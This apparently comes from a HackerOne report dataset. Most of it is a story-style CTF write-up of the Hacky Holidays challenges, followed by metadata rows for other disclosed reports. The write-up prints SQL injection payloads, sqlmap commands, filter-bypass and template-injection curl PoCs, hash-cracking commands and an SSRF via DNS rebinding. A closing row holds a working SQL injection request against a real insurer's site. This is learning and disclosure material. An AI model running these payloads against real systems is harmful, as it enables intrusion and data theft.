At this point Mr.R3b00t exactly knew what to do next. Mr.R3b00t combined the user id with the `/user?uuid=` and BOOM!
{F1137910}
This time Mr.R3b00t has his hands on some pretty solid information about Grinch, It was Grinch's address.
"I think its time to infiltrate the fortress..", Ep04 ends.
**_Episode - 0x05_ Brut3f0rc3.py**
Being a Master in Lock Picking it was a piece of Cake for Mr.R3b00t to get into the Grinch's house. The house was a mess and full of Dog Food, and obviously no one was there.
The only thing that caught Mr.R3b00t's attention was Grinch's Computer he quickly powered up the computer but the internal web portal was password protected (Grinch is not that big of a fool as we think he is).
{F1138036}
"Hmmm, Till now he was operating from this computer", Mr.R3b00t said. Now the only way to get more info on Grinch is to hack his password.
Grinch is smart but let's see if he is smart enough to have a strong username and password. So Mr.R3b00t noticed one unusual behaviour whenever a wrong username was provided "Invalid Username" was appearing as an error, this could be the factor to bruteforce the username.
After a quick bruteforce using ffuf revealed the username as "access".
{F1138037}
Now a similar behaviour was seen with the password field, whenever Mr.R3b00t entered the username as "access" and a random password "Invalid password" error popped up.
It was time to brute force the password another quick fuzz with ffuf revealed the password as "computer".
{F1138038}
Now Mr.R3b00t was having credentials for the Grinch's Internal login portal he quickly logged in and soon enough he found that there is nothing inside it.(wait.. what??)
{F1138039}
"He must be hiding something, it can't be empty" Mr.R3b00t said with a frown on his face.
He decided to investigate deeper and found out that the session token is a base64 string with the following JSON data.
{F1138041}
Mr.R3b00t Changed admin to "true" and replayed the request and BOOM! he had access to Grinch's personal files.
{F1138043}
The zip file found was also password protected but this time Mr.R3b00t exactly knew how to open it up. Mr.R3b00t transferred the file onto his own laptop, fired up Kali and cracked the ZIP file pass using "fcrackzip".
{F1138044}
Unzipping the file revealed that Grinch is definitely not just interested in "destroying Christmas"(Naughty Grinch).
{F1138045}
{F1138046}
(This pic literally gave me nightmares.)
Mr.R3b00t took a peak in the diary.txt file and found out a link to his online diary.
{F1138056}
"This is his personal diary, I think he might have mentioned something in it about his evil plans"..Mr.R3b00t Gathered everything he can from Grinch's house put everything back to it's place and removed every possible trace...
**_Episode - 0x06_ secretadminsecretadmin.phpadminadmin.php.php.php**
A first look at Grinch's diary was not revealing anything sensitive.
{F1138063}
From initial recon Mr.R3b00t found out there are following hidden files present on the site.
{F1138065}
And the page /my-diary was always redirecting to /my-diary/?template=entries.html looked like the site is including data from other pages present in the dirs.
So index.php was present on the site but it was redirecting to /my-diary/?template=entries.html If the site is including code from other files might be possible there is also a way to read the contents of index.php
Mr.R3b00t quickly changed the "entries.html" to "index.php" and sent the request to "https://hackyholidays.h1ctf.com/my-diary/?template=index.php" and soon enough he had the source code for "index.php"
{F1138066}
"Hmmmm, so he changed the admin page to "secretadmin.php", but he is restricting the access to secretadmin.php".
The index.php was having three filters; preg_replace() which was filtering out non-alphanumeric character except for the character "." .
And two str_replace() filters to restrict access to admin.php and secretadmin.php, It was time to find out the perfect payload to bypass all the filters.
Mr.R3b00t tried multiple directory traversal payloads but nothing worked because everytime you will put a char "/" or string "admin.php" or "secretadmin.php" in the payload it will get filtered out...Looked like directory traversal isn't the way, it was time to play with the str_replace() function.
_____________________________________________________________________________________________________
## Trivia
_____________________________________________________________________________________________________
Hey! its d3f4u17 let's find out some interesting facts about `str_replace()` function.
PHP str_replace() function replace all occurrences of the search string with the replacement string.
Example :-
```php
php > $y="hello grinch";
php > $x=str_replace("grinch", "", $y);
php > echo $x;
hello
```
In the above example, str_replace() will remove all occurrences of the string "grinch" with "" in the string "hello grinch".
But still a properly crafted input can bypass the replace filter for example:- the input string "hello grincgrinchh" when passed through str_replace("grinch", "", $y); will give "hello grinch" as output. Similar technique was used to bypass the str_replace() filters for this challenge.
{F1138067}
_____________________________________________________________________________________________________
After trying some test inputs Mr.R3b00t found the ultimate payload to bypass both the str_replace() filters
```
secretadminsecretadmin.phpadminadmin.php.php.php
```
When the above payload will be passed through the first filter `$page = str_replace("admin.php","",$page);` the resultant string would be "secretadminsecretadmin.php.php"
Now when the string "secretadminsecretadmin.php.php" will pass through the second filter the resultant string would be "secretadmin.php". Now Mr.R3b00t had the perfect payload he quickly added the payload to ?template= param and sent the request to https://hackyholidays.h1ctf.com/my-diary/?template=secretadminsecretadmin.phpadminadmin.php.php.php
The payload worked and The admin page loaded..
{F1138078}
A draft was present on the admin dashboard and it was revealing the ultimate plan of The Grinch to ruin this year's christmas. "This is horrible! Is this what he is planning? If he succeeds Santa won't be able to distribute the presents, I have to stop him"..
Mr.R3b00t now knew what the Grinch was planning, will he be able to stop him? Will Grinch succeed in his evil agenda?? We will find out soon..
**_Episode - 0x07_ Inj3cti0n**
Few hours pass by, no strange activities were found on the Grinch Network. Ping!! A email notification came in, Mr.R3b00t checked the mail.
{F1138081}
"What?? How did he get my mail?? Does he know I am after him??" Looks like Mr.R3b00t was not the only one who got the mail, Mr.R3b00t's friends also got the mail, Grinch was sending mass mail to Christmas loving People.
So if he is sending mail there has to be someplace from where he is doing it, It took Mr.R3b00t few seconds to find out the mail generating portal https://hackyholidays.h1ctf.com/mail-generator
Mr.R3b00t soon found out the template he used to Generate the mass mail.
{F1138082}
The message contained a markup with placeholders {{name}} and {{template:}} which was including some kind of html file inside the body.
It's a thumb rule for Mr.R3b00t to do a dirsearch with it's in-built wordlist in the initial recon process, and it never disappoints. The dirsearch reveals a hidden directory "templates".
{F1138085}
The templates folder revealed some HTML files two of them were used in the previously drafted mail.
{F1138086}
The one that caught Mr.R3b00t's interest was the third one
`38dhs_admins_only_header.html` (The word admin always excite him)
Now, Mr.R3b00t needs to find a way to use this template.
Exploring the other features, Mr.R3b00t found out that one can also craft a mail template at https://hackyholidays.h1ctf.com/hate-mail-generator/new and can preview it at https://hackyholidays.h1ctf.com/hate-mail-generator/new/preview
The initial request to the /preview looked as below:-
{F1138087}
Mr.R3b00t quickly tried using the `{{template:}}` placeholder to include the file 38dhs_admins_only_header.html but it wasn't that simple
{F1138093}
A permission denied error popped up.
After playing with the parameters, Mr.R3b00t found that custom params can be defined in the `preview_data` POST param and then can be used in `preview_markup`. E.g.
{F1138095}
One more thing that needs to be observed was whatever input was given in the placeholder was getting reflected as it is without any filters.
{F1138096}
After trying few payloads, Mr.R3b00t said "If everything is getting reflected why not pass the template placeholder itself in the custom placeholder".
Mr.R3b00t tried the payload `{"test":"{{template:38dhs_admins_only_header.html}}"}` and it worked like a charm.
Final PoC:-
```bash
curl -X POST -sk -H "Content-Type: application/x-www-form-urlencoded" -d 'preview_markup=Hello+{{test}}+&preview_data={"test":"{{template:38dhs_admins_only_header.html}}"}' https://hackyholidays.h1ctf.com/hate-mail-generator/new/preview | grep -Eoi "flag{[^>]+}"
```
{F1138099}
{F1138098}
"Adam?? This can't be true, was he helping The Grinch all this time?" it was a total shock for Mr.R3b00t. Adam is a renowned CTF creator in cybersecurity world and a close friend of Mr.R3b00t(I don't know about Mr.R3b00t, but Adam ain't a friend of mine but I would love to be his friend :) )...episode ends.
**_Episode - 0x08_ B3tR4y4l**
It wasn't time for Mr.R3b00t to think about what Adam did but to focus on the plan to stop Grinch. The forum was already online.
{F1138116}
Initial recon on the forum revealed a phpmyadmin page and a login page for users and also might be for admins, Mr.R3b00t tried bypassing the login using bruteforcing user and pass, default creds, older version CVEs but nothing worked. Also, IDORs were also not the case with this one.
{F1138118}
"I think it's time to hack Adam "Mr.R3b00t quickly started looking for Adam's online activities(Thanks @chron0x for the hint on this one :) ) soon enough Mr.R3b00t found Adam's Github profile https://github.com/adamtlangley There wasn't any thing suspicious in his repositories but you know Github is all about contribution, Adam's latest activities revealed a commit to "Grinch-Networks" Github profile.
{F1138119}
"Mr.R3b00t at this point of time was 100% sure about Adam's involvement in the Grinch's plan".
Mr.R3b00t opened the repo https://github.com/Grinch-Networks/forum , The forum was written in PHP after looking at some files in the source code Mr.R3b00t was sure that DB interaction is taking place in the forum app, now if there is a DB there has to be a connection file for it.
Soon enough Mr.R3b00t found the DB.php file inside the repo which would be getting used to make connection with the backend database, It was time to see if there are any credentials present for the DB or not.
{F1138120}
"After all it's Adam, he won't do a rookie mistake like that", Mr.R3b00t said.
MR.R3b00t was going back and take a look at other files but his sharp vision found this.
{F1138122}
{F1138123}
There was an inital commit for the file DB.php, after looking at the history of DB.php Mr.R3b00t went to the exact same line and this time he found the DB creds.
https://github.com/Grinch-Networks/forum/commit/07799dce61d7c3add39d435bdac534097de404dc#diff-998930400b08c30f6949f365207fd1d0c693d22ae5de6b9de752ef5c57ce9754R134
{F1138124}
"After all, Git is nothing but a stupid content tracker", Mr.R3b00t said. In his initial recon Mr.R3b00t found a phpmyadmin page on the forum, he tried the creds over there and it worked like a charm.
The DB user had access to the "users" table, the table was having username and hashed passwords.
{F1138126}
Cracking the hashes revealed the password for the user "grinch"
{F1138127}
It was time to login to the admin account using creds "grinch:BahHumbug", The admin account was having a post under "secret plans".
{F1138128}
From this moment onwards it was a race against time for Mr.R3b00t as Grinch has already deployed his recon servers once he gets his hands on Santa's IPs he will launch the DDoS attack.
**_Episode - 0x09_ sl33p**
Mr.R3b00t now have to find a way to access The recon servers but no initial links were found, Grinch was now running a Quiz on his website "Sadistic evil creep", Mr.R3b00t took a look at it in hope of finding a lead on the recon servers.
{F1138130}
At first Glance, it looked like a normal quiz with some crazy questions and options(What do you expect from a Green Ugly Monster) and an admin login page.
On a bit deep investigation Mr.R3b00t found out the flow of the quiz
```
--> /evil-quiz/ --> /evil-quiz/start/ --> /evil-quiz/score
```
The following requests were being made on each step.
{F1138131}
{F1138132}
{F1138133}
One more thing Mr.R3b00t noted was that the 'name' param was getting reflected at the `/evil-quiz/score` page.
It was time to fuzz the parameters, soon enough Mr.R3b00t found an unusual behaviour the payload `' or (select sleep(15))-- -` when passed via name parameter was taking much time to return the response as compared to others at this point Mr.R3b00t was a bit sure about the possible vulnerability behind the behaviour.
Mr.R3b00t quickly fired up SQLmap and ran the following command.
```
$python3 sqlmap.py -u https://hackyholidays.h1ctf.com/evil-quiz --data "name=chron0x" -p "name" --method POST --second-url "https://hackyholidays.h1ctf.com/evil-quiz/score" --cookie="session=<session_cookie>" --current-db
```
Soon Mr.R3b00t assumptions became true, and he was sure that it is indeed a Time-Based SQLi
{F1138139}
Mr.R3b00t was able to find the DB name as "quiz", now it was time to enumerate tables
```
$python3 sqlmap.py -u https://hackyholidays.h1ctf.com/evil-quiz --data "name=chron0x" -p "name" --method POST --second-url "https://hackyholidays.h1ctf.com/evil-quiz/score" --cookie="session=<session_cookie>" -D quiz --dump
```
The above sqlmap revealed two tables "sessions and "admin", looking at the content of "sessions", the table was not of much use so MR.R3b00t had the target table to look at.
```
$python3 sqlmap.py -u https://hackyholidays.h1ctf.com/evil-quiz --data "name=chron0x" -p "name" --method POST --second-url "https://hackyholidays.h1ctf.com/evil-quiz/score" --cookie="session=<session_cookie>" -D quiz -T admin --dump
```
The table admin dumped the admin credentials
{F1138143}
Mr.R3b00t logged in to the admin panel using the extracted Creds.
{F1138144}
**_Episode - 0xA_ H4ck3rz for Hire**
Grinch has speed up the process and has started hiring people on his website for his DDoS attack. Mr.R3b00t is still looking for clues to have access on Grinch's Recon server.
The page had a registration form and a login form.
{F1138145}
The basic flow was, a user can register and then login on the page, after login the user was shown the following message.
{F1138146}
Initial recon revealed the following files and directories.
> Tip: For quick finds use dirsearch, it's an amazing tool with an in-built oneforall wordlist.
{F1138148}
Both user.php and index.php were flashing the error "You cannot access this page directly" when visited directly. The README.md file was a gold mine though, it revealed a "signup-manager" app which has been deployed on the site, the readme file had the usage and install instructions along with the default creds for the admin but as expected default creds were not working.
{F1138150}
After reading the install instructions Mr.R3b00t found out that signupmanager.zip needs to be moved and unzip in the installation directory, there was a possibility that the file could be still present on the server. So MR.R3b00t requested the following URL https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip and voila Mr.R3b00t was able to download signupmanager.zip file.
The zip file contained the source code of the signup app.
{F1138152}
Now to find the perfect exploit Mr.R3b00t ran the app on his local machine and performed some basic actions such as login, register etc.
The app was storing the users credentials in a file "users.txt" instead of a database, The file had the following format to store the user info.
{F1138153}
There is one more thing that needed to be observed from the README.md file , it was mentioned in the file that "You can make anyone an admin by changing the last character in the users.txt file to a Y" by d3f4u17 the last character was being set as 'N' for non-admin users.
"If somehow I can overwrite the last character to 'Y' I can register as an admin",Mr.R3b00t said. The theory was accurate for an exploit but there were multiple restrictions imposed in the code to do so.
In the index.php file, the `addUser` function is formatting and padding all the parameters except for the hashed password as it is a constant 32 char string. In the end a sub-string of length 113 was being extracted from the final string.
{F1138154}
There were also validations in place to check for the length of the passed parameters for the user signup code
{F1138155}
Every parameter was getting passed through substr() function to make sure that the params do not exceed their specified length except for one, the parameter "age", one more thing that need to be noticed is that param "age" is getting validated by strlen() , is_numeric() and in the end intval() function was being used to fetch the integer value for the passed age value.
Mr.R3b00t decided to play with these three functions, After some research Mr.R3b00t found out that there are ways in PHP to express larger values in a shorter form.
For example "1e3" in PHP represents 1 x 10^3. Also, it can bypass both strlen and is_numeric.
{F1138156}
Mr.R3b00t now have the perfect exploit in hand, the following values will do the Job and would overwrite the last character.
```
curl 'http://localhost/signupmanager/' -H 'Content-Type: application/x-www-form-urlencoded' -d 'action=signup&username=test123&password=password&age=1e9&firstname=foo&lastname=mypayloaY'
```
When the above values will be passed the values in the variables will be as shown below
{F1138160}
The substr function will extract only the 113 characters from the resultant string which will make char 'Y' from the lastname param as the ending character.
```
test123########5f4dcc3b5aa765d61d8327deb882cf99d81fac0b735b75cfae76604798479b6d1000000000foo############mypayloaY
```
It was time to test the exploit on the actual website, Mr.R3b00t passed the following request and got successfully redirected to the Admin page.
{F1138164}
{F1138168}
Mr.R3b00t finally had the lead on the recon server The admin area was having the link for the recon server https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59, It was time for the final showdown.
**_Episode - 0xB_ Inc3pti0n**
Mr.R3b00t now have access to the recon server but he still needs to stop the DDoS, the site https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59 was having some albums and photos of Santa(Does he hate him or obsessed with him??) that Grinch collected over the years and our lovely login page "Attack box".
From initial recon Mr.R3b00t found out the following information
{F1138169}
The /uploads/ dir was giving a 403 and the /api/ endpoint has some sort of API docs for the site.
{F1138170}
Enumerating the API endpoint always resulted in a 401 unauthorised, So Mr.R3b00t had to find a way to bypass this restriction so that he can enumerate the endpoints for /api/* other things that Mr.R3b00t found out, the site was having albums and albums were having photos.
For fetching an album the following request was being made https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k and for fetching the pictures the following request was being made https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzEzZDc0NTU0YzMwZTEwNjk3MTRhNWE5ZWRkYThjOTRkLmpwZyIsImF1dGgiOiI5NGZiMzk4ZDc4YjM2ZTdjMDc5ZTc1NjBjZTlkZjcyMSJ9
On decoding the base64 The following JSON string was obtained.
```json
{"image":"r3c0n_server_4fdk59\/uploads\/13d74554c30e1069714a5a9edda8c94d.jpg","auth":"94fb398d78b36e7c079e7560ce9df721"}
```
Looks like internal URL calling was being done, also an "auth" key was being passed , changing the path in the "image" key resulted in "invalid authenticated hash" error, somehow the "image" and "auth" keys were associated.
{F1138171}
After playing around for sometime Mr.R3b00t finally got a lead. The "hash" param was vulnerable to SQL injection, The request to `https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=%27%20UNION%20SELECT%201,NULL,NULL;--` was returning all the photos present in the first album
Similarly, the request to `https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=%27%20UNION%20SELECT%202,NULL,NULL;--` was returning photos from the second album.
Soon after this, Mr.R3b00t fired up sqlmap and excute the following command
```
Python3 sqlmap.py -u https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k --method get -p "hash" --dbs
```
The param was indeed vulnerable to sqli, sqlmap dumped two databases.
{F1138173}
"recon" was kinda interesting, Next off it was time to dump the tables for "recon".
{F1138172}
"It is making total sense now! Now I know why the request was dumping the photos for the first album" ..Mr.R3b00t said
___________________________________________________________________________________________________
## Trivia
___________________________________________________________________________________________________
Hey! It's d3f4u17 again, Let me explain you what Mr.R3b00t understood after looking at the dumped schema.
The request that Mr.R3b00t made earlier `https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=%27%20UNION%20SELECT%201,NULL,NULL;--` was exploiting the query which was being used in the backend for the table "album".
So the query that might be getting used in the backend would be something like this
```sql
select id, hash, name from album where hash='?';
```
Now these are the payloads that helped MrR3b00t identifying the correct column count.
```sql
' UNION select NULL;-- --> 404
' UNION select NULL,NULL;-- --> 404
' UNION select NULL,NULL,NULL;-- --> 200; column count is three
' UNION select NULL,NULL,NULL,NULL;-- --> 404
```
Once Mr.R3b00t had the column count he started fuzzing the first column and the payload `' UNION select 1,NULL,NULL;--` returned the photos from the first album.
Now if we append our payload `' UNION select 1, NULL, NULL;--` it will make the resultant query as:-
```sql
select id, hash, name from album where hash='' UNION select 1, NULL, NULL;--
```
The above query when executed will generate the following data.
```
MariaDB [test]> select id, hash, name from album UNION select 1,null,null;
+----+------+------+
| id | hash | name |
+----+------+------+
| 1 | NULL | NULL |
+----+------+------+
1 row in set (0.002 sec)
```
Also the column count in the union must be matching otherwise error will popup at the backend which is nothing but the 404 page.
But if we will request the following `https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=%27%20UNION%20SELECT%201,NULL,NULL;--` the page is returning the images, this behaviour suggests that there is more than one query which is getting executed in the background because the first query is just returning the 'id' column.
Now if I am right the second query that might be executing to fetch the images from the "photo" table would be.
`select id, album_id, photo from photo where album_id='?'`, now the id column from the output of first query is being fed to the second query to get the photos.
So if we will provide a payload something like below
```
MariaDB [test]> select id, hash, name from album UNION select "' UNION select null,null,'xyz.jpg'",null,null;
+------------------------------------+------+------+
| id | hash | name |
+------------------------------------+------+------+
| ' UNION select null,null,'xyz.jpg' | NULL | NULL |
+------------------------------------+------+------+
1 row in set (0.108 sec)
```
Now the payload `' UNION select null,null,'xyz.jpg'` will be fed to the second query which will make it .
```
select id, album_id, photo from photo where album_id='' UNION select null,null,'xyz.jpg'
MariaDB [test]> select id, album_id, photo from photo where album_id='' UNION select null,null,'xyz.jpg'
-> ;
+------+----------+---------+
| id | album_id | photo |
+------+----------+---------+
| NULL | NULL | xyz.jpg |
+------+----------+---------+
1 row in set (0.078 sec)
```
Now if we will request `https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=' UNION SELECT "' UNION select NULL,NULL,'xyz.jpg';--",NULL,NULL;--`
We will get the following response
{F1138181}
Decoding the base64 will give the following output.
```json
{"image":"r3c0n_server_4fdk59\/uploads\/xyz.jpg","auth":"5717163084e61f4b89336af25ae5d503"}
```
As you can see the xyz.jpg provided in the payload is getting reflected in the base64 string the "auth" token for the respective path is also being generated by the server , what if we provide "../api/test" in our payload
{F1138183}
So we can now alter the path in the "image" also, requesting the URL https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL3h5ei5qcGciLCJhdXRoIjoiNTcxNzE2MzA4NGU2MWY0Yjg5MzM2YWYyNWFlNWQ1MDMifQ== will now give the response as "Expected HTTP status 200, Received: 404"
Looks like we are now able to successfully call the /api/* endpoints from internal server.
Also the api document suggests that 404 refers to no valid endpoint, It was time for sum fuzzing. Now let's get back to the story..
___________________________________________________________________________________________________________
Mr.R3b00t decided to create the script F1138199 to automate the process of enumerating the api endpoints.
```bash
#!/bin/bash
YELLOW="\e[93m"
NORMAL="\e[39m"
OP=`curl -sgi "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=x' UNION SELECT \"' UNION SELECT null,null,'$1'--+\",null,null--+" | grep -Eoi "src=\"\/r[^+]+\"" | cut -d '"' -f 2`
OP_TWO=`curl -GkLs "https://hackyholidays.h1ctf.com$OP"`
echo -e "${YELLOW}[$1]${NORMAL} : $OP_TWO"
```
Using a proper wordlist from seclist did the JOB and Mr.R3b00t found two valid endpoints
```bash
cat /usr/share/seclists/Discover/Web-Content/api/objects/txt | xargs -n 1 -P 20 -I {} ./newscript.sh ../api/{}
```
{F1138187}
{F1138187}
Mr.R3b00t now had the valid endpoints, now the next step was to enumerate the params endpoints
```bash
cat /usr/share/seclists/Discover/Web-Content/api/objects/txt | xargs -n 1 -P 20 -I {} ./newscript.sh ../api/user?{}=
```
{F1138196}
{F1138197}
The params "username" and "password" were two valid params for the endpoint /api/user. No valid endpoints were found on the /api/ping param though.
Trying bruteforcing username and password didn't work out but while fuzzing the params Mr.R3b00t found out that '%' sign is allowed as a wildcard.
{F1138194}
"Boolean based character matching" can be done using this behaviour, Mr.R3b00t quickly created a new script F1138200 to enumerate username and password.
```bash
#!/bin/bash
OP=""
USER=""
CHAR=""
VALID=""
echo -e "extracting $1.."
while [ 1 ]; do
for i in $(cat chars); do
OP=`./newscript.sh ../api/user?$1=$CHAR$i%25 | grep -oi invalid | wc -c`
#echo -e "Testing -> $CHAR$i"
if [[ $OP -eq 8 ]]; then
#echo -e "Testing -> $CHAR$i"
CHAR="$CHAR$i"
echo -e "Found -> $CHAR"
break
fi
done
done
```
After executing the above script in just few minutes Mr.R3b00t had both username and password for the "attack box".
{F1138206}
{F1138205}
Without wasting anymore time Mr.R3b00t logged in to the attackbox using the creds "grinchadmin:s4nt4sucks" and what he saw next was pure horror.."Grinch has found Santa's IPs", Mr.R3b00t said.
**_Episode - 0xC_ 404 Not Found**
Grinch has found Santa's IPs and is ready to launch the attack, Mr.R3b00t have to stop the Grinch before the DDoS succeeds.
{F1138263}
Without wasting anymore time Mr.R3b00t started recon and looking for a loop hole in the recon app.
The "attack" button in front of each IP was launching DDoS against mentioned IP by requesting the following URL. https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==
Decoding the base64 in the query string gives the following JSON String.
```json
{"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}
```
The key "target" was holding the target IP and the key "hash" was holding a token associated with the IP, Changing the IP and replaying the request gave the following error
{F1138267}
The "hash" was associated with the "target" just like we saw earlier.
After trying multiple things Mr.R3b00t was completely blank as nothing was working or exploitable, time was running out at anytime the attack could be launched.
The only last resort remaining was to crack the hashes Mr.R3b00t wasn;t expecting much from this but he wasn't having any other choice.
Mr.R3b00t fired up hashcat and ran the following commandf ro cracking MD5s.
```
hashcat -m0 -o crack.txt -O 5f2940d65ca4140cc18d0878bc398955 /usr/share/wordlists/rockyou.txt
```
But as expected It didn't work out. "Wait! what if the hashes are salted?", Mr.R3b00t said.
Just to try his luck Mr.R3b00t tried again and assumed the salt as the target IP.
```
hashcat -m10 -O -o crack.txt 5f2940d65ca4140cc18d0878bc398955:203.0.113.33 /usr/share/wordlists/rockyou.txt
```
And miraculously, it worked! Mr.R3b00t found the hidden salt "mrgrinch463".
{F1138269}
Mr.R3b00t now have the salt it was time to test it, Mr.R3b00t quickly generated a hash to target the loopback IP.
```
php > echo md5("mrgrinch463127.0.0.1");
3e3f8df1658372edf0214e202acb460b
php >
```
Mr.R3b00t was able to bypass the "Invalid protection hash" error but got restricted again as there were restrictions to launch attack on internal IPs.
{F1138271}
{F1138272}
After multiple failed attempt to target the internal host, Mr.R3b00t decided to do a bit research and few minutes later found this https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#bypassing-using-dns-rebinding-toctou
There was a way to target Internal IP using DNS rebinding, Mr.R3b00t used a service https://lock.cmpxchg8b.com/rebinder.html (didn't use 1u.ms as it is very buggy)
Mr.R3b00t hashed the target host and made the final payload(The payload of destruction).
https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIwMTAyMDMwNC43ZjAwMDAwMS5yYm5kci51cyIsImhhc2giOiI2OWMzMWNkY2ZhZDNlZjFkZWI2NTJmNGFjYTUyZDJjYyJ9
After loading the above URL twice Mr.R3b00t saw and end to Grinch's agenda.
{F1138275}
"Finally! It's over..",Mr.R3b00t smiled. He successfully took down the Grinch and respected his vow.
## Impact
h1ctf grinch network CTF writeup. | {
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"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
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},
"url": "/d3f4u17",
"username": "d3f4u17",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "h1-ctf",
"id": 46757,
"offers_bounties": false,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Let's save the holidays together! #TogetherWeHitHarder",
"name": "h1-ctf",
"twitter_handle": "Hacker0x01",
"website": ""
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/1hYGHKjWZv64FAEYq32nP1EU/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "paused",
"url": "https://hackerone.com/h1-ctf"
} | false | full | 2021-01-11T22:36:53.487Z | null | null | 2 | {
"asset_identifier": "*.hackyholidays.h1ctf.com",
"asset_type": "WILDCARD",
"databaseId": 59882,
"max_severity": "critical"
} |
296,622 | Blind XXE on pu.vk.com | 2017-12-10T01:18:27.212Z | resolved | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
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},
"url": "/barracud4_",
"username": "barracud4_",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "vkcom",
"id": 1254,
"offers_bounties": false,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "VKontakte is the largest European social network, with more than 97 million monthly active users.",
"name": "VK.com",
"twitter_handle": "vkontakte",
"website": "https://vk.com"
},
"profile_picture_urls": {
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},
"state": "public_mode",
"submission_state": "disabled",
"url": "https://hackerone.com/vkcom"
} | true | no-content | 2018-03-04T13:15:15.979Z | {
"id": 54,
"name": "XML External Entities (XXE)"
} | null | 16 | null |
|
574,638 | Lack of proper paymentProfileUUID validation allows any number of free rides without any outstanding balance | 2019-05-08T23:55:03.051Z | resolved | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "/assets/avatars/default-25f7248a18bdf9e2dc8310319b148d66cff430fa0fade6c5f25fee1b8d7f27ed.png"
},
"url": "/eequalsmc2",
"username": "eequalsmc2",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "uber",
"id": 314,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "",
"name": "Uber",
"twitter_handle": "",
"website": "https://www.uber.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/314/24ea21370a71b18eafb5722d5855825ab622b5dd_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/uber"
} | true | no-content | 2019-07-18T01:44:08.187Z | {
"id": 65,
"name": "Business Logic Errors"
} | null | 75 | null |
|
181,803 | SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) | 2016-11-12T17:58:34.924Z | resolved | **Vulnerable script**: /webApp/oma_conf
**Vulnerable parameter**: ctx[vars][email]
**Database**: PostgreSQL
**PoC**
```http
POST /webApp/oma_conf HTTP/1.1
Host: viestinta.lahitapiola.fi
Content-Type: application/x-www-form-urlencoded
Content-Length: 1131
ctx=%3Cctx+lang%3D%22en%22+date%3D%222016-11-12T17%3A33%3A06Z%22+_target%3D%22web%22+webApp-id%3D%22235234841%22+_folderModel%3D%22nmsRecipient%22%3E%3CuserInfo+datakitInDatabase%3D%22true%22+homeDir%3D%22%22+instanceLocale%3D%22en-US%22+locale%3D%22en-US%22+login%3D%22webapp%22+loginCS%3D%22Web+applications+agent+%28webapp%29%22+loginId%3D%223290%22+noConsoleCnx%3D%22true%22+orgUnitId%3D%220%22+theme%3D%22%22+timezone%3D%22Europe%2FHelsinki%22+xmlns%3ASOAP-ENV%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22+xmlns%3Ans%3D%22urn%3Axtk%3Asession%22+xmlns%3Axsd%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema%22+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema-instance%22%3E%3Clogin-right+right%3D%22admin%22%2F%3E%3C%2FuserInfo%3E%3Ctimezone+current%3D%22Europe%2FHelsinki%22+changed%3D%22false%22%2F%3E%3Cvars%3E%3CcustomerId%3E0%3C%2FcustomerId%3E%3Caction%3Ein%3C%2Faction%3E
%3Cemail%3Etest%40test.ru' and substr(version(),1,10) = 'PostgreSQL' and '1%3C%2Femail%3E
%3C%2Fvars%3E%3CactivityHistory%3E%3Cactivity+name%3D%22page%22%2F%3E%3C%2FactivityHistory%3E%3C%2Fctx%3E&userAction=next&transition=
```
**Steps to reproduce**
1. Open http://viestinta.lahitapiola.fi/webApp/oma_conf
2. Fill in the form value `' and substr(version(),1,10) = 'PostgreSQL' and '1`
3. Result `Kiitos tilauksestasi!`
4. Fill in the form value `' and substr(version(),1,10) = 'PostgreXXX' and '1`
5. Result `An error occurred.` | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
